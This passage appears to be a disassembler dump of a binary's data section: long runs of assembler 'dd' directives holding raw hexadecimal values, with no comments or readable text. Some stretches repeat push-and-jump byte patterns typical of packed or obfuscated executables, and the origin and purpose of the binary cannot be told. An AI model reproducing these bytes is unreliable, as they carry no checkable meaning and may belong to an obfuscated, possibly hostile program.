1A1A38EAh, 4777EC9h, 0DCE9h, 0A7253200h, 459CD73Ch dd 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h dd 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh dd 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch dd 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh dd 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h dd 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h dd 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h dd 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h dd 0F0A8CDh, 0 dd 129D7447h, 5E99E0E3h, 9 dup(0) dd 15A7E900h, 88680000h, 0E907EA3Ch, 0FFFA436Fh, 0EA3D6768h dd 4365E907h, 3068FFFAh, 0E907EA3Eh, 0FFFA435Bh, 0EA3F7768h dd 4351E907h, 968FFFAh, 0E907EA40h, 0FFFA4347h, 0EA40BF68h dd 433DE907h, 8268FFFAh, 0E907EA41h, 0FFFA4333h, 0EA425C68h dd 4329E907h, 0C68FFFAh, 0E907EA43h, 0FFFA431Fh, 0EA446B68h dd 4315E907h, 6068FFFAh, 0E907EA45h, 0FFFA430Bh, 0EA46AD68h dd 4301E907h, 1A68FFFAh, 0E907EA48h, 0FFFA42F7h, 0EA497568h dd 42EDE907h, 0BF68FFFAh, 0E907EA4Ah, 0FFFA42E3h, 0EA4C9D68h dd 42D9E907h, 9468FFFAh, 0E907EA4Dh, 0FFFA42CFh, 0F589AB83h dd 52E606DFh, 0B246603Ch, 15A9BD9Ch, 740824FFh, 21FC559Bh dd 815B7105h, 0DBB9CF63h, 3E1B31C5h, 2FDF9226h, 0A89BCDB2h dd 0AC448913h, 946BE84Ah, 4213A89Bh, 9B896ED9h, 2D0A13A8h dd 495BC415h, 5A795674h, 0DA1D4470h, 0AA88142Bh, 71033B94h dd 7898710Fh, 4284760Dh, 697BE414h, 0C65A724Fh, 55754EECh dd 0C6F2043h, 6EBE172Fh, 0A4DCF2D0h, 43134602h, 0F952E7CCh dd 28C09E7h, 5013A6BFh, 7902AFE7h, 0CE13A680h, 2AD589BDh dd 6CD877FDh, 0E78AFAFAh, 7E90CDC2h, 25DFh, 424D0800h dd 0E99F1C6Ch, 0A713A6A9h, 0A659063Eh, 2513A6AAh, 8B295014h dd 0A68193B1h, 0D8780759h, 0CF7Eh, 7956A700h, 805B2961h dd 815E2C64h, 0A17B1969h, 9EB04B83h, 1E2D0AD8h, 42A0DAA1h dd 0BF0F7814h, 42A0BD42h, 57B01914h, 70906907h, 698B9D38h dd 42A46174h, 0B9943214h, 0B8CA659Dh, 15A9C19Eh, 0D20A22FFh dd 0A9C9A240h, 601B7497h, 0C4146D81h, 0AA4CF062h, 0DD2F9325h dd 0B250D2CBh, 821E13A6h, 0BB568EA4h, 56F4CE62h, 2E516377h dd 9BFD4D61h, 0BAC7BC39h, 2A9313A6h, 98AAC09Eh, 40522C9Fh dd 0A9F96214h, 8014300Bh, 1F738F6Ah, 62357A8Ch, 57D0343h dd 0DE000013h, 3A50E406h, 97AD4161h, 0F70DA1BBh, 5A700418h dd 0F6CF637Fh, 607C57F0h, 0BEDCB6CCh, 2036142Ah, 8199768Ch dd 0D8A3AEDh, 13A89C76h, 56109FE4h, 0B5CB5F7Bh, 5B2CC0D8h dd 1C6C424Dh, 0A6A9E99Fh, 0EE3EA713h, 0A615B57Ch, 0B2C44E78h dd 0B4BC3FECh, 0B90B13A6h, 0B425DA57h, 48B113A6h, 0B1ED9936h dd 0D877FD4Eh, 0B387h, 7956B000h, 25972961h, 16762733h dd 0D6F002B8h, 15A7DFFBh, 0F801B9A3h, 9DAF3CBFh, 422131A4h dd 31492614h, 5FAA879Dh, 0D8106983h, 0D0208E01h, 0A63ED153h dd 0C13EA013h, 13A63F3Ah, 58B14D89h, 56A7D1F7h, 93FCDBEDh dd 0AC8725FFh, 0ABBD5890h, 57A70788h, 8DC5DBB9h, 8502E0F2h dd 14406725h, 0E07ECE37h, 3F55E905h, 0C1F44864h, 22623577h dd 12265CE2h, 0E5BD0000h, 40192FC3h, 9A768C20h, 0F7D6EC80h dd 5E394FE3h, 2FD5AE42h, 0AB3F5B36h, 99DBB95h, 6BFF15F3h dd 0CC607855h, 17EC6919h, 0C313A89Dh, 7B56EF7Eh, 0D8B5CB5Fh dd 5D95B38Dh, 4D569C2h, 29617956h, 0D2667E5Bh, 8EC6E0BCh dd 7BCBE3C0h, 0D5E701DDh, 5E3BD9B3h, 86093446h, 0D3A82587h dd 7F1442A0h, 94AE8A16h, 7E305F82h, 8CE3B12Eh, 50B213A6h dd 8D8A71EEh, 0DF4813A6h, 0A68D8F74h, 0D0E24B13h, 747F88F1h dd 0E42CBC8Ah, 0D3238B04h, 0ED920F71h, 69EB2CFEh, 83F5EE00h dd 51ECC8E3h, 0B6D9B0E8h, 0C946A8F8h, 1310DB32h, 472537A0h dd 0F76B96CAh, 8BDB4414h, 64F810EDh, 559714Eh, 62C654BAh dd 5D77FD3Dh, 86000011h, 0E2F88CAEh, 3F55E909h, 9FB54963h dd 218ACC0h, 9E770B27h, 824FF58h, 66845E74h, 0C8DEBCD2h dd 29411E34h, 0B532E295h, 13A89ECEh, 56B8478Ch, 38522E79h dd 81B9CDACh, 0C3558DE6h, 0C11BEF61h, 0A4E2C0F2h, 42734239h dd 95A71014h, 835E1D72h, 3B942F67h, 5FB86EEBh, 167613A6h dd 0A65FE299h, 0AE077013h, 1A94FB1Ah, 7A474DCAh, 0AC151442h dd 8534C774h, 41931B8Bh, 0C7175CFh, 0EE005FE8h, 96691551h dd 3FD092C9h, 40h, 39424D68h, 98E8415Fh, 0A6EF871Bh, 0F875D513h dd 13A6F003h, 0BD0D66CFh, 0F129431Fh, 0C8664456h, 4B40D4EAh dd 13A6F0B2h, 5CF008E5h, 2526846h, 0F05C23A0h, 91FA13A6h dd 9133B97Fh, 0C2000010h, 0AE2F2092h, 38286868h, 228C0326h dd 3B5B34D2h, 78566803h, 0A86951FBh, 39AF1F13h, 0F14B903Dh dd 24C2126Bh, 859B2F47h, 815890A8h, 572CA90Eh, 313A932h dd 74F1419Ah, 14430B2Dh, 963484EDh, 0F70DA1B9h, 38CA021Ah dd 22159DC6h, 788A1E46h, 64413A55h, 26A3F34Ch, 1C735C88h dd 2F976D6h, 0D003F8A3h, 0E7405634h, 2E667E5Bh, 0E3E63A93h dd 285A467Bh, 101662E8h, 0F5CD0000h, 50293FD3h, 0AA869C30h dd 7E6FC90h, 6E495FF3h, 1FE5BE52h, 0BB4F6B46h, 19ADCBA5h dd 7B0F2503h, 0DC708865h, 7FC7929h, 0D313A89Fh, 8477FF8Eh dd 4B1442A0h, 0A6B8D0ADh, 906F0C83h, 59A9447Ch, 42A027DCh dd 0F14AB314h, 99F524A1h, 3CA513A8h, 760D8AECh, 0E413A89Ah dd 0ED8B697Bh, 4E64F810h, 6B095971h, 4B6B448Dh, 0D1F7813h dd 5C1F7047h, 75BE5F80h, 1BF63175h, 96EF8AC2h, 0B503C946h dd 68D1144Ch, 321ABF14h, 9A206062h, 0F84h, 0D165875Fh dd 2EC2E2BBh, 8E223C18h, 0F1859978h, 50E400DBh, 0FDD87177h dd 5D374DE1h, 0B795AB3Fh, 1AF70DA1h, 0BBB6E02h, 0A8E0E98Eh dd 91206513h, 0FD19F492h, 0D8EF23C5h, 0C077642Eh, 5E3B5567h dd 0D684F646h, 0E4A8D7ACh, 0B07E4456h, 0CD6BBBD3h, 5A0D8F0h dd 0EBE92DF3h, 4254744Dh, 1CBAE1A5h, 53EE2640h, 0F996641h dd 9B3EE05Ch, 67000009h, 73C52092h, 7FDFF3D2h, 0D2E4AFE6h dd 7ECEE0AFh, 0A89EC501h, 0D6268F13h, 0AF435B38h, 2D9DBC99h dd 3DDB60A0h, 5D0A429Bh, 13A84FA2h, 0BB0BA3ECh, 4C63883Eh dd 0CBAA4614h, 0D30A5EB7h, 60623164h, 0ECE9A20h, 3D150000h dd 9871871Bh, 0F2CEE478h, 4F2E44D8h, 0B691A73Bh, 0C72D069Ah dd 397B38Eh, 61F513EDh, 0C3576D4Bh, 24B8D0ADh, 0BF44C171h dd 1B13A8E0h, 309247D6h, 42A0CCB3h, 0F218A14h, 0B00018F5h dd 9C00273Eh, 0B93A5109h, 60CD2D3Ch, 6AF3F37Ch, 0E33B3FD2h dd 0E4B2788Ah, 73B7EF07h, 0DEFED775h, 47772FCCh, 0E05BE4B8h dd 8E91Dh, 84774600h, 4B1442A0h, 45C2CFADh, 1442A0BEh dd 225AB31Ch, 3D527587h, 20A42171h, 7213A899h, 401BB909h dd 96341224h, 330DA1B9h, 52E0D7C1h, 35476FA3h, 0EE263E1Bh dd 0E6367817h, 4C06A369h, 93107214h, 1B8C16ECh, 10EF016Ah dd 0C99453A7h, 73B36231h, 0E0BEDh, 0DE00D800h, 3B5B344Ah dd 9BB591A7h, 0FE12F107h, 5D79546Ah, 510AF0C9h, 0B0C65A76h dd 0E24B8D6h, 70861A30h, 34E77B93h, 0E1700784h, 99DE13A8h dd 16F4920Ah, 9BF1A000h, 259FD12Ah, 0D11CF913h, 3585DEF2h dd 41E7C2C3h, 618EC96h, 86957240h, 42ED7209h, 9F64E114h dd 3B1442EDh, 0BF1881D2h, 0B2ECFD6Fh, 0FB0434DFh, 42ACF97Eh dd 93EC5514h, 0BA77BB81h, 0CF6DCF8Ah, 49FD7F5h, 42ACE299h dd 0F5077014h, 5C11E51Ah, 804F2E0h, 4D1B0000h, 9F1C6C42h dd 13A89ACCh, 57C91982h, 97C2531Bh, 2B091BCEh, 8665B08Dh dd 0ABBFDC6Bh, 9FF8A5A2h, 226CCC67h, 57BEF3AAh, 0A1B74BA4h dd 0C774ACC4h, 13A8F834h, 25753956h, 4CD4E2A8h, 0F347B014h dd 6231FAFEh, 31971D5Dh, 0B200000Dh, 0E24B8DAh, 6B811535h dd 0CBE1758Fh, 2E44D8ECh, 0CAA33753h, 34502B24h, 92B08AA0h dd 0F40AE8FEh dd 556D4A60h, 0E15E0EC1h, 13A8E21Ah, 56E473B8h, 5B296179h dd 0FC065F7Eh, 0BAAD40BDh, 3FB3925Ah, 99F20574h, 24601D61h dd 5BE58778h, 76450E0h, 0D2700000h, 0F8CDDFF3h, 42A08177h dd 0D9B25014h, 0D4B381B9h, 325567C0h, 61C54A5Dh, 61C8BD52h dd 0AD3BB808h, 0FB13A862h, 0C7A44292h, 0E8C15FAFh, 0E3F590C8h dd 885E7C1h, 13A99573h, 4A6476DFh, 6705556Dh, 995F718Bh dd 91E1CDC2h, 4D9B4E14h, 4FA30C14h, 62313CACh, 81FD83C3h dd 6200000Ch, 0BED4688Ah, 1B31C5E5h, 7B91253Fh, 0DEF4889Ch dd 7A53E703h, 0E400DB74h, 42603A50h, 0A4BA98AEh, 51DFA10h dd 910EBE71h, 13A8E3EAh, 56942368h, 73116179h, 0A9447C98h dd 2603D197h, 0CF98D60Eh, 0B3CBA897h, 0CDA7451Fh, 50DC77AFh dd 86215975h, 11669974h, 0CE30E05Ch, 42ACAA51h, 33BF2814h dd 8B2A3C58h, 17Fh, 617956B4h, 667E5B29h, 1996F8D2h, 1442A062h dd 527587F0h, 8321713Dh, 627C58A9h, 0FE368F2Ah, 0F6735163h dd 13A6B3F4h, 25431DBBh, 0BB983413h, 1F789670h, 0BBF34CE7h dd 0A6B46D0Eh, 9DC9DA13h, 4B6340DEh, 8B667813h, 0D8780974h dd 5DA68422h, 942F6781h, 5668033Bh, 2FB7h, 424DE000h, 1CBA1C6Ch dd 52ED2541h, 0A0FE8502h, 0F35C1442h, 0A922E8E1h, 87F013A6h dd 0A9D9A24Fh, 5D6E13A6h, 88A7529h, 0D24BD878h, 74000000h dd 29617956h, 5631805Bh, 2183C233h, 0C82114DFh, 2B04FB78h dd 69D21442h, 2D0AD810h, 320FDD15h, 99F20AE7h, 951005h dd 0C5A21442h, 95FA19ADh, 0EE4CC919h, 7D13A4F0h, 0D9B405DFh dd 91EA85BDh, 0CDACBE59h, 385831h, 0D6BD0565h, 0CE424EC0h dd 0AC872575h, 0C7A24090h, 617799ABh, 0EF166A86h, 946A18A7h dd 0B22CE54h, 0E9C10000h, 441D33C7h, 9E7A9024h, 0FBDAF084h dd 623D53E7h, 13D9B246h, 0AF435F3Ah, 0DA1BF99h, 6F0319F7h dd 0D0647C59h, 0BF06D1Dh, 0C713A8E4h, 2092F382h, 1080B247h dd 0E4FE10DFh, 4359ED09h, 9CFE4E66h, 4212581Fh, 0C6DEBB14h dd 32A2F38Eh, 0B05D4F00h, 0C1116A39h, 42AEBF44h, 0A0B21B14h dd 2906A47Eh, 2C3ED911h, 16F49257h, 1EFAC800h, 0D831CC04h dd 0C0CFACC6h, 42A0BC43h, 58B11A14h, 5D755220h, 520FBC9h dd 4D8A0000h, 0BA1C6C42h, 3A1C431Ch, 4B716BADh, 1BB6EE47h dd 0BF6A1009h, 7FE813A6h, 0AB50CD2Fh, 2713A6BFh, 39E6ACBEh dd 13A6BF46h, 0CB0F405h, 0D877F2F3h, 234E4h, 83770D00h dd 0D1442A0h, 5FDC2C82h, 13A8996Fh, 0CE6CBC25h, 2F45D9F1h dd 2B023A52h, 7DFA4A64h, 144C94A7h, 0E2FCD876h, 3488F1D0h dd 623237DBh, 2DF67CBCh, 0B600000Ah, 1228BCDEh, 6F851939h dd 0CFE57993h, 3248DCF0h, 0CEA73B57h, 38542F28h, 96B48EA4h dd 0F80EEC02h, 59714E64h, 0E56212C5h, 13A8E51Eh, 56E877BCh dd 36542E79h, 0C90363FEh, 0E318C866h, 49174FA8h, 0DE1C546Ch dd 435736D4h, 6DD09431h, 0AE47890h, 5A423198h, 0BBCDD419h dd 5BC41FE0h, 19BB8E0h, 56E10000h, 5B296179h, 0F8D2667Eh dd 1EB21986h, 0FB0DFED1h, 0A7F7B7D8h, 0A660A02Ah, 4D85EE13h dd 25431DBBh, 47611A13h, 0D5E613A6h, 3612ED91h, 36C3D877h dd 0EC000000h, 0FE18F492h, 0F6192BC6h, 48C51599h, 13A6A982h dd 46EDE050h, 0AAD255A6h, 0A654562Dh, 429B0413h, 7B04B1E9h dd 0D013A654h, 28D787BFh, 0ADD8771Dh, 0ECh, 2E7956D6h dd 64FF3753h, 6149BB0Bh, 0F87FFCE9h, 561442C4h, 34F18DEDh dd 0A133F90Bh, 0D83DC23Fh, 30991442h, 0D29041Eh, 122A07D5h dd 172F0CDAh, 2B6855C7h, 86E606DFh, 0CADCABD0h, 0A0C2B3A8h dd 78551442h, 0E2ADCC60h, 3DE7CCCh, 214AFE7h, 0E189A724h dd 76D813A4h, 0A52E02F9h, 5567D013h, 1FBD0D76h, 0A2B92144h dd 99C9B1F4h, 0BF18300Dh, 1E3A152Bh, 18C94FCAh, 961C5C6Ah dd 8E0h, 75092B03h, 0D266865Fh, 32C6E0BCh, 95293D1Ch, 0F488A47Fh dd 0A17CD51Bh, 1DBF185h, 5B394FE3h, 0BE9BB145h, 0AF5F12A6h dd 0A8E64D32h, 35C40913h, 6687B56h, 42A0F289h, 8CF76014h dd 1442A0F7h, 946EFA63h, 5BCD1D76h, 0A8837DD4h, 7A9CAE47h dd 73632EA0h, 96752DB8h, 0ADE076BBh, 2146D7Ah, 5FF30BE8h dd 0EF0DE785h, 350A1CB7h, 29617956h, 0B9973597h, 0A04338A3h dd 0A60F1442h, 7E9D7A94h, 33C5747h, 0BA377432h, 0DA7EAA18h dd 76D82881h, 420302F9h, 0AF54D114h, 2B144203h, 0F60871C2h dd 825CFAD4h, 43C5431h, 2CFE1069h, 2B6h, 6C424DBBh, 0D4D8AA1Ch dd 864F3C25h, 0F507B026h, 0C7D9BCEFh, 45DE6CE9h, 238C13A8h dd 0B9BD3EEBh, 0F90A13A9h, 2FAC0E4Dh, 13A9B948h, 0B08B9D06h dd 0D870F84Fh, 956AE749h, 4113A9B5h, 576F4CD8h, 0D372841Fh dd 22Eh, 627655F3h, 83777B50h, 0D1442A0h, 3EDC2C82h, 5B394B5Fh dd 677D5BF9h, 9AE65C55h, 0B7413A8h, 27DC59BBh, 0B413A89Ah dd 0A89A4037h, 54A50E13h, 6B7C8BEBh, 8827728Bh, 1DFA9876h dd 0F9977105h, 0EA910E1Bh, 6813A8F8h, 0D36EA6FFh, 0B2CAA7C1h dd 0CBECA37Ah, 0A8F8A94Eh, 63BC2513h, 3513B113h, 4E140D1Fh dd 0C144CF6h, 19D44FA3h, 0ABEB6232h, 77325h, 76987000h dd 0D3F3CCE2h, 334D293Fh, 96AA899Fh, 0F511EC02h, 0E9628861h dd 485EF20Eh, 0A6BC506Eh, 81EB2C8h, 0CC7F132Bh, 0E8D89F1Ch dd 317613A8h, 617956A2h, 667E5B29h, 809E7816h, 0D59BAD48h dd 0AE2B8D97h, 1442A0C9h, 6D0A1C85h, 51694639h, 1119E6BDh dd 5FBEE05Ch, 0DE000001h, 3861936Ch, 0D3E0405Eh, 0AC819397h dd 29617956h, 0D2667E5Bh, 82D2DCB3h, 0B4EC0AE4h, 0AC290719h dd 13A6B322h, 22CF0770h, 13A6B459h, 0F2A9DDEEh, 0B46C1390h dd 81EA13A6h, 96B946Fh, 376CD878h, 95000000h, 1C6C424Dh dd 24DB58BAh, 0B21442A0h, 877CF949h, 531442A0h, 29DFD8EAh dd 0E713A6A9h, 16B4467Eh, 120B1D3Dh, 13A6A969h, 0E599CDDEh dd 0D878081Ah, 0CABBh, 7956E400h, 0E23B4F2Eh, 0E501DCAAh dd 0B702DFADh, 3068C1DBh, 0BB642C9Eh, 97ED34B5h, 23831B55h dd 0DEF017AAh, 0C09CE7C4h, 0DFB94DA6h, 11B43E6Dh, 0C2C411A9h dd 0D0EA4AD2h, 63AB9DD8h, 0AF6FF3DEh, 0AA4B4456h, 0FD14425Eh dd 56B80820h, 425E22D9h, 3547B014h, 0C09B3913h, 206F92A4h dd 2D657F5Bh, 126B815Fh, 4EEC69B9h, 1C13A4B9h, 0EAC563B3h dd 49243ACEh, 37E9F226h, 8EE76E79h, 193AF33Ah, 1AA0E06Ah dd 618h, 3DD1F3CBh, 9A2E4E27h, 0FA8EA884h, 5DF105E4h, 0BC506C47h dd 69441DE3h, 0C9A3B94Dh, 230117ABh, 8663790Dh, 7727DA6Eh dd 0A8E905FAh, 0FD8CD113h, 0CB5F7B56h, 70C0D8B5h, 0CADCF6D2h dd 5230CEA8h, 56552A3Ch, 5B296179h, 0DF26F7Eh, 0C91442A0h dd 1394F2Dh, 20B40D66h, 4152h, 7956E100h, 7E5B2961h, 99781666h dd 0DC4BE77Eh, 0F34C3C94h, 3AB71BE1h, 0D2B14F0Ah, 6BE486BEh dd 0C6462CA6h, 1933459Eh, 0D6731D3Ch, 4C1400A6h, 23855FF3h dd 42D5D1A6h, 2147D14h, 1930h, 7956BF00h, 0D8A02B5Ah, 348D88DDh dd 99AD4FFCh, 0FF281442h, 0E3FBD847h, 79567E4Fh, 99731161h dd 58A8437Bh, 42A024DBh, 3749B214h, 6741DF71h, 7B143749h dd 0C466E333h, 8A13A89Ah, 0FD6FD121h, 0FD63BE70h, 3F0DBC52h dd 0BF72585h, 3236CD4Ah, 3BA413A8h, 0D9B6D0E2h, 3A172DC1h dd 0B25F831Bh, 0C11AADB6h, 0D1DDB289h, 0BCDD0481h dd 1C7E1442h, 96FED89Fh, 0FB0D761Bh, 0C563B31Ch, 0E1BFD1E7h dd 0FE4E6643h, 0FE581F9Ch, 8DF61B96h, 6643597Bh, 8160FE4Eh dd 0BE955B6Dh, 108DDDD1h, 1C72E9B2h, 340357C0h, 0B35A480Ah dd 4CEED73h, 3D150000h, 9871871Bh, 0F2CEE478h, 4F2E44D8h dd 0B691A73Bh, 0C72D069Ah, 397B38Eh, 61F513EDh, 0C3576D4Bh dd 24B8D0ADh, 0BF44C171h, 1B13A8EAh, 795647D6h, 0DAB7CD61h dd 931072C2h, 1442A0ECh, 29EF016Ah, 0C3B83597h, 8F1442A0h dd 1DFA1426h, 569A61FEh, 0B390DB17h, 6FC8639Bh, 96A0DE16h dd 0CD0519F8h, 0C3832032h, 0D3677F5Ch, 687C5BF9h, 93847B56h dd 7412E05Bh, 0CF6E8096h, 44h, 6C424DF8h, 0EF3B9F1Ch, 0F05913A6h dd 0E2402A0h, 0F0F8857Ah, 421F13A6h, 0A280962Ah, 21161E85h dd 9CF54AB3h, 0C2D1AE4Ch, 0A687BE45h, 5AB31C13h, 7D0E90FAh dd 618771Eh, 3310AE40h, 0D37091Bh, 0C6000004h, 0CCB33092h dd 8A1442A0h, 18F50F21h, 3812B000h, 0B042081Ah, 0D1F3312h dd 6AFE16F3h, 0F673444Bh, 1442A001h, 0BB0B64CDh, 0A6B34C3Eh dd 49990213h, 0A3B5CFABh, 0B44F30DDh, 0EBFC13A6h, 886200BBh dd 827D586Ah, 53D87809h, 5Bh, 6C424D7Ch, 7FA47E1Ch, 0CA1DDC26h dd 1FAB04C2h, 56F12943h, 23E96644h, 0F213A642h, 4F617554h dd 22CF0770h, 13A65459h, 34BAE1BAh, 1112A1B8h, 0F5C3FB54h dd 36C80018h, 0A664C2B9h, 0B2279013h, 8FE7ABDBh, 6996C67Eh dd 2FD8774Dh, 68AB50CDh, 0BE2713A6h, 0AF0DACh, 56360000h dd 0AF116179h, 0E41C3411h, 0A019DE49h, 4CB51442h, 0CBA6743Ah dd 0CCA977AFh, 0EAC664B4h, 6FA7C19Dh, 0A8437BD4h, 0A024DB58h dd 49B21442h, 0C6A37137h, 4C84A07Bh, 0CFC458B1h, 1442A4C6h dd 0C85C7451h, 85BDD5B2h, 7DCDE1AEh, 0A6AA9200h, 0C357C013h dd 53714BE9h, 3D711E41h, 59D870EDh, 319A1440h, 4C6843E1h dd 0ABC7A2B8h, 3581EA57h, 4BD11162h, 2F0h, 65F91BF3h, 0C256764Fh dd 22B6D0ACh, 85192D0Ch, 0E478946Fh, 916CE50Bh, 0F1CBE175h dd 4B293FD3h, 0AE8BA135h, 9F4F0296h, 0A8EC5D22h, 25B4F913h dd 0CB5F7B56h, 2CC0D8B5h, 6C424D5Bh, 8B9F7E1Ch, 0C8A6B853h dd 0A6A9854Bh, 0D7B65413h, 0DEF08BC3h, 0B15E96FFh, 13A6A9CEh dd 0A8B92B7Dh, 0B55413CEh, 9BCB687Ah, 772A1CE3h, 0DBB9D8h dd 3BD90000h, 5B304262h, 29617956h, 1464805Bh, 4A829876h dd 45D79DAFh, 0A09166E3h, 0D43D1442h, 0A4DCC9C2h, 15871442h dd 9DD0E0ADh, 112B3D3Dh, 72881C34h, 6E457D95h, 0C03D8D21h dd 13A6D1D2h, 65C71780h, 0A62D13E8h, 4456BF13h, 228C0322h dd 0CB5255D2h, 83211440h, 0BD5890A4h, 1363CCABh, 7DDD4FB1h dd 17A230E5h, 80E09702h, 56E1B89h, 0E2FED9F3h, 0FCD6744Eh dd 0F90BA6DEh, 94E804DFh, 62355FB7h, 0F9921858h, 0EA000001h dd 465CF012h, 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh dd 6C8863FCh, 0CAE8C2D8h, 2C422036h, 8DA58298h, 199646F9h dd 13A8ED62h, 561CABF0h, 0F1CB5F7Bh, 4C5E7653h, 0F8365532h dd 39573198h, 29A177D9h, 8E280D0h, 6A805EEAh, 63859732h dd 61795692h, 1EF99729h, 0FD940EFBh, 0B009B60Fh, 108DDD78h dd 1442EC6Bh, 526C7EE7h, 0B3C95D75h, 0AF86BED6h, 1C7ECEE0h dd 118EA57Eh, 1442EC6Ah, 14267FE8h, 0A6F5F11Bh, 0DE167F13h dd 65145027h, 4FD970F3h, 65687B8h, 0A69CF289h, 0E5F76013h dd 0C5A3EECBh, 68E577AFh, 13A69C93h, 247DD63Fh, 891E7190h dd 9DE1B1D6h, 0B6065FFFh, 42791F39h, 0C4FC6514h, 2EFA19F6h dd 0D61C1B56h, 37A9F952h, 6A3E00D7h, 0ED4E661h, 0FD792DAAh dd 0F30DE992h, 6BCD4A9Ah, 0F91C6ED8h, 9E6FC90h, 0B527B9F1h dd 3C6DFD0Ah, 0EA0416C4h, 7BEF60Ch, 0E3457430h, 0EEBF9166h dd 0C2A13D03h, 294355AEh, 81A0344Ch, 0D350A00Eh, 40AA6B9h dd 0C896CE37h, 0AAC4A0EBh, 8B621951h, 2402A0DBh, 0EB3BD60Eh dd 0D298896Eh, 0CADC450Bh, 0B993E8A7h, 0BC95639Bh, 9AEA439Ch dd 3681F31Dh, 8220820Ch, 5C238EA4h, 0BF3336F1h, 0F994CCE0h dd 4E2D3FA8h, 157751E5h, 36F1E398h, 0F9D36F33h, 4D7082DBh dd 9F1C6C42h, 34DCC87Eh, 0A573AB14h, 85A37DC8h, 0AD061AF9h dd 0E260319h, 5ED729D6h, 69420051h, 69431149h, 0CD5134Bh dd 0DFA42158h, 7B7EEEA0h, 0D997B912h, 0E343613Bh, 513C5F7Dh dd 1AB7C9E8h, 0CB16F36Ah, 0E579D2F2h, 0C9A7F2CFh, 558DA180h dd 8E2961BAh, 0CD6BFD35h, 0ABC5D7F1h, 0B280B8CCh, 0B583BBD7h dd 0B249C6DBh, 207EEEB5h, 0E7265EB7h, 0B72C6420h, 0DCB9A4E0h dd 3D1A30C4h, 0D67ED25h, 0F6000000h, 0CCB33092h, 8A1442A0h dd 0DD2C0F21h, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h dd 0E38953EEh, 4C381h, 0B9510000h, 4, 8759CB29h, 685C241Ch dd 61ADh, 68241489h, 7DBCh, 68242C89h, 7EA3B2Dh, 8124148Bh dd 4C4h, 2C8B5400h, 4C48324h, 762C68h, 24148900h, 8B08458Fh dd 8956242Ch, 4C681E6h, 83000000h, 348704C6h, 148B5C24h dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FA2DD6E9h dd 593272FFh, 4FB2B896h, 0C50307EAh, 81EDE0FFh, 0A44465CDh dd 6EEB265Dh, 0AFB52EDBh, 49716F69h, 4E82466h, 0C5343C55h dd 4B1E6FCFh, 60B345A7h, 1F6D1FC9h, 8DED63C9h, 48A859A8h dd 794879BBh, 7167D80h, 0A11A4353h, 692E6648h, 0E1E26348h dd 66F97CA0h, 0E0644DD6h, 6E8B4ADFh, 49B31C4Ah, 3A4868F9h dd 0AABB004Eh, 30BA4FB2h, 0B49349BFh, 0CFDD2FA4h, 0E8581868h dd 0DA9B41CBh, 0F4DE1EB5h, 869537D0h, 0A179021Eh, 80840B0Dh dd 0FE80A0Eh, 2A000000h, 8B46BCE4h, 9C57D05h, 0A461AFC0h dd 0F280FA0Ah, 0DE85E63h, 3A000000h, 0FADD264h, 0E08A65F3h dd 53A1B12h, 0A957BF66h, 2AC6815Fh, 0E900005Ch, 11h, 9333D2DAh dd 6E016CA4h, 7225EAB7h, 0DEB38189h, 5548B8BDh, 0C08131B7h dd 0CE48C190h, 0FFFE8B66h, 815BFC36h, 0F45255EBh, 0CA816656h dd 0EB818999h, 544FEDF5h, 11E9h, 848B3700h, 563E9C10h dd 3B703CEFh, 4751861Dh, 0EB81FDC0h, 35E7DB23h, 3BAFCF81h dd 1E892B8Eh, 0EE81FA8Bh, 6D12AE32h, 0CE9h, 1943A700h dd 67DDF04Ch, 0A20060D1h, 2EC68164h, 606D12AEh, 0DFE68057h dd 6870F5Eh, 81000000h, 86C8AFF2h, 0E8836131h, 8C850F01h dd 60FFFFFFh, 0F238BA66h, 0A7E961h, 11F50000h, 0CC470DBEh dd 38F3BAF5h, 0AFD666D1h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h dd 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h, 0BD897D60h dd 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h dd 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h dd 0DB4D5200h, 5EF357h, 9DBBEFB6h, 9500BD89h, 0EFB69F89h dd 0D00097BBh, 55C3B1B6h, 37005271h, 0D3C20DA4h, 0E0910h dd 0Ah dup(0) dd 1005E900h, 0FC680000h, 0E907EA53h, 0FFFA2BBBh, 0EA550268h dd 2BB1E907h, 0D468FFFAh, 0E907EA55h, 0FFFA2BA7h, 0EA56F468h dd 2B9DE907h, 8968FFFAh, 0E907EA57h, 0FFFA2B93h, 0EA582268h dd 2B89E907h, 0C068FFFAh, 0E907EA58h, 0FFFA2B7Fh, 0EA596B68h dd 2B75E907h, 1A68FFFAh, 0E907EA5Ah, 0FFFA2B6Bh, 0EA5B1368h dd 2B61E907h, 0E268FFFAh, 0E907EA5Bh, 0FFFA2B57h, 0EA5D4368h dd 2B4DE907h, 9A68FFFAh, 0E907EA5Fh, 0FFFA2B43h, 0EA608D68h dd 2B39E907h, 4119FFFAh, 9C758B1Fh, 0F6D2E87Ch, 533248DCh dd 0BA95AB3Fh, 0CB310A9Eh, 79BB792h, 65F917F1h, 0C75B714Fh dd 28BCD4B1h, 0B348C575h, 1F13A8F2h, 20924BDAh, 0E03ADC01h dd 2842546Fh, 2DFB334Bh, 0C2C0550h, 4CE039D4h, 0D855622Dh dd 14423623h, 9DED46AFh, 1555C62Bh, 54E0CAB6h, 704E6076h dd 0A68EF9F3h, 3D1BB713h, 0FB54EF27h, 0B59331C3h, 0EB948D9Fh dd 6013A6F1h, 4794700Eh, 0E3F54E6Eh, 0A15E1E46h, 36D877CCh dd 29h, 6C424D5Fh, 